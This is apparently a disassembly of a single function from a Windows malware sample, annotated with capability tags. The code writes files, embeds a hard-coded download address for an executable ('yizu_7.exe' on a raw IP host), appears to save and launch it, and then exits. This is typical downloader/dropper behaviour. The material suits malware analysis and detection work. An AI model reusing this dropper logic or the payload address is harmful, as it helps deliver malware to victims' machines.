Function at 0x4038f0
Capabilities:
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41493b
mov eax, dword fs:[0]
push eax
sub esp, 0x3f8
mov eax, dword [0x41e008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x220], 0
call fcn.00402b90
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x3d8]
call fcn.00403730
mov byte [ebp - 4], 1
mov dword [ebp - method.CVolMem.virtual_0], 0x4175a4
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 0
mov byte [ebp - 4], 2
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x25c], 0x40
mov byte [ebp - 4], 3
push ecx
lea ecx, [ebp - 0x3ac]
call fcn.00402310
mov esi, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x328]
mov edx, dword [ebp - 0x328]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x324], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x320], ecx
lea ecx, [ebp - 0x318]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x318]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x318]
call fcn.00401910
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3ac]
call fcn.00402870
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2d0]
call fcn.00402b90
lea edx, [ebp - 0x2d0]
mov dword [ebp - 0x220], 1
call fcn.0040d2b0
mov esi, dword [ebp - 0x2c4]
test esi, esi
je 0x403a56
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x403a45
sub esi, ecx
sar esi, 1
jmp 0x403a63
mov esi, dword [ebp - 0x2ac]
test esi, esi
je 0x403a63
shr esi, 1
dec esi
mov edi, 1
mov dword [ebp - 0x220], edi
and edi, 0xfffffffe
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2d0]
call fcn.00402870
cmp esi, 5
jle 0x403e9b
lea ecx, [ebp - 0x2a0]
call fcn.00402b90
mov byte [ebp - 4], 6
mov dword [ebp - method.CVolMem.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x294], 0x4176f8
mov byte [ebp - 4], 7
lea eax, [ebp - 0x328]
push eax
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x354]
call fcn.0040f710
mov byte [ebp - 4], 8
mov edx, eax
lea ecx, [ebp - 0x380]
call fcn.0040f8f0
add esp, 4
mov ebx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2d0]
call fcn.00402b90
xor eax, eax
or edi, 2
mov dword [ebp - 0x220], edi
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x403bb5
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call dword [sym.imp.VCRUNTIME140.dll_wcsrchr]
add esp, 8
lea esi, [ebp - 0x21c]
test eax, eax
je 0x403b40
lea esi, [eax + 2]
mov eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x2b4]
test eax, eax
jne 0x403b5f
cmp dword [ebp - 0x2ac], 0
mov eax, 0x4174f4
cmovne eax, ecx
cmp esi, eax
je 0x403bb5
mov dword [ebp - 0x2c4], 0
test ecx, ecx
je 0x403b81
mov eax, dword [ebp - 0x2c0]
push ecx
lea ecx, [ebp - 0x2c0]
call dword [eax + 0xc]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2b0], 0
test esi, esi
je 0x403bb5
cmp word [esi], 0
je 0x403bb5
push esi
lea ecx, [ebp - 0x2c0]
call fcn.0040e2b0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3ac]
call fcn.00402b90
or edi, 4
lea edx, [ebp - 0x3ac]
mov dword [ebp - 0x220], edi
call fcn.0040d2b0
lea eax, [ebp - 0x2d0]
push eax
lea edx, [ebp - 0x3ac]
lea ecx, [ebp - 0x404]
call fcn.0040f710
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - method.CVolMem.virtual_0], 0x4175a4
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
mov byte [ebp - 4], 0xe
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x224], 0x40
mov byte [ebp - 4], 0xd
or edi, 8
mov dword [ebp - 0x220], edi
mov eax, dword [ecx + 0xc]
test eax, eax
jne 0x403c78
cmp dword [ecx + 0x24], eax
mov eax, 0x4174f4
je 0x403c78
mov eax, dword [ecx + 0x1c]
push ecx
push eax
lea ecx, [ebp - 0x23c]
call fcn.0040e470
mov eax, dword [ebx + 0xc]
mov esi, dword [ebp - 0x228]
mov ecx, esi
test eax, eax
je 0x403c9c
mov ebx, dword [ebp - 0x230]
jmp 0x403cbc
cmp dword [ebx + 0x24], 0
jne 0x403caf
mov ebx, dword [ebp - 0x230]
mov eax, 0x4174f4
jmp 0x403cbc
mov eax, dword [ebx + 0x1c]
mov ebx, dword [ebp - 0x230]
test eax, eax
je 0x403d02
cmp word [eax], 0
je 0x403d02
test ecx, ecx
js 0x403d02
push 0x418014
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
add esp, 8
mov dword [ebp - 0x2a4], eax
test eax, eax
je 0x403d02
push eax
push esi
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [ebp - 0x2a4]
xor ebx, ebx
cmp eax, esi
sete bl
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
jmp 0x403d04
xor ebx, ebx
and edi, 0xfffffff7
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0xc
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x230]
test ecx, ecx
je 0x403d4e
mov eax, dword [ebp - 0x23c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolMem.virtual_12
jne 0x403d46
mov ecx, 0x41eb88
call fcn.0040ec70
jmp 0x403d4e
lea ecx, [ebp - 0x23c]
call eax
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x22c], 0
mov byte [ebp - 4], 0xc
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x404]
call fcn.00402870
and edi, 0xfffffffb
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3ac]
call fcn.00402870
and edi, 0xfffffffd
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x2d0]
call fcn.00402870
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x380]
call fcn.00402870
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x354]
call fcn.00402870
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2a0]
call fcn.00402870
cmp ebx, 1
jne 0x403e9b
lea ecx, [ebp - 0x2a0]
call fcn.00402b90
mov byte [ebp - 4], 0x11
mov dword [ebp - method.CVolMem.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x294], 0x4176f8
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x328]
push eax
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x380]
call fcn.0040f710
mov byte [ebp - 4], 0x13
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.0040f8f0
add esp, 4
mov byte [ebp - 4], 0x14
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x403e5a
cmp dword [eax + 0x24], ecx
mov ecx, 0x4174f4
je 0x403e5a
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.0040d3d0
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x354]
call fcn.00402870
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x380]
call fcn.00402870
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2a0]
call fcn.00402870
cmp esi, 1
je 0x4041ed
mov dword [ebp - method.CVolMem.virtual_0], 0x4175a4
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0
mov byte [ebp - 4], 0x16
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x240], 0x40
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2fc]
call fcn.00402b90
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x2a0]
call fcn.00402b90
mov byte [ebp - 4], 0x19
mov dword [ebp - method.CVolMem.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x294], str.http:__103.205.6.17_uploads_yizu_7.exe
mov byte [ebp - 4], 0x1a
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x23c]
call fcn.004011e0
mov esi, eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x258]
mov edx, dword [ebp - 0x258]
call dword [edx + 0x44]
push esi
lea ecx, [ebp - 0x258]
call fcn.00401910
mov byte [ebp - 4], 0x1a
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x230]
test ecx, ecx
je 0x403fa6
mov eax, dword [ebp - 0x23c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolMem.virtual_12
jne 0x403f9e
mov ecx, 0x41eb88
call fcn.0040ec70
jmp 0x403fa6
lea ecx, [ebp - 0x23c]
call eax
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x22c], 0
mov byte [ebp - 4], 0x1a
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x2a0]
call fcn.00402870
push ecx
lea ecx, [ebp - 0x354]
call fcn.00402310
mov esi, eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x2fc]
mov edx, dword [ebp - 0x2fc]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x2f8], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x2f4], ecx
lea ecx, [ebp - 0x2ec]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x2f0], eax
mov eax, dword [ebp - 0x2ec]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00401910
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x354]
call fcn.00402870
lea ecx, [ebp - 0x2a0]
call fcn.00402b90
mov byte [ebp - 4], 0x1f
mov dword [ebp - method.CVolMem.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x294], 0x4176f8
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x2fc]
push eax
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x380]
call fcn.0040f710
mov byte [ebp - 4], 0x21
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.0040f8f0
add esp, 4
mov byte [ebp - 4], 0x22
mov ecx, dword [eax + 0xc]
mov esi, dword [ebp - 0x244]
mov ebx, dword [ebp - 0x24c]
test ecx, ecx
je 0x4040b8
mov eax, esi
jmp 0x4040d0
cmp dword [eax + 0x24], 0
jne 0x4040c7
mov ecx, 0x4174f4
mov eax, esi
jmp 0x4040d0
mov ecx, dword [eax + 0x1c]
mov eax, esi
test ecx, ecx
je 0x40410d
cmp word [ecx], 0
je 0x40410d
test eax, eax
js 0x40410d
push 0x418014
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x40410d
push edi
push esi
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor ebx, ebx
cmp eax, esi
push edi
sete bl
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
jmp 0x40410f
xor ebx, ebx
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x354]
call fcn.00402870
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x380]
call fcn.00402870
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x2a0]
call fcn.00402870
cmp ebx, 1
jne 0x4041f5
lea ecx, [ebp - 0x2a0]
call fcn.00402b90
mov byte [ebp - 4], 0x24
mov dword [ebp - method.CVolMem.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x294], 0x4176f8
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x2fc]
push eax
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x380]
call fcn.0040f710
mov byte [ebp - 4], 0x26
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.0040f8f0
add esp, 4
mov byte [ebp - 4], 0x27
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x4041b0
cmp dword [eax + 0x24], ecx
mov ecx, 0x4174f4
je 0x4041b0
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.0040d3d0
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x354]
call fcn.00402870
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x380]
call fcn.00402870
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x2a0]
call fcn.00402870
cmp esi, 1
jne 0x4041f5
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2fc]
call fcn.00402870
mov byte [ebp - 4], 3
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x24c]
test ecx, ecx
je 0x404245
mov eax, dword [ebp - 0x258]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolMem.virtual_12
jne 0x40423d
mov ecx, 0x41eb88
call fcn.0040ec70
jmp 0x404245
lea ecx, [ebp - 0x258]
call eax
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], 0
mov byte [ebp - 4], 3
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 1
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x2a
mov edx, dword [ebp - 0x268]
test edx, edx
je 0x4042b2
mov eax, dword [ebp - 0x274]
push edx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolMem.virtual_12
jne 0x4042aa
mov ecx, 0x41eb88
call fcn.0040ec70
jmp 0x4042b2
lea ecx, [ebp - 0x274]
call eax
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x264], 0
mov byte [ebp - 4], 1
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x3cc]
call fcn.00404860
mov byte [ebp - 4], 0
mov dword [ebp - method.CVolMem.virtual_0], vtable.CVolObject.0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x328]
call fcn.00402870
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00412ec6
mov esp, ebp
pop ebp
ret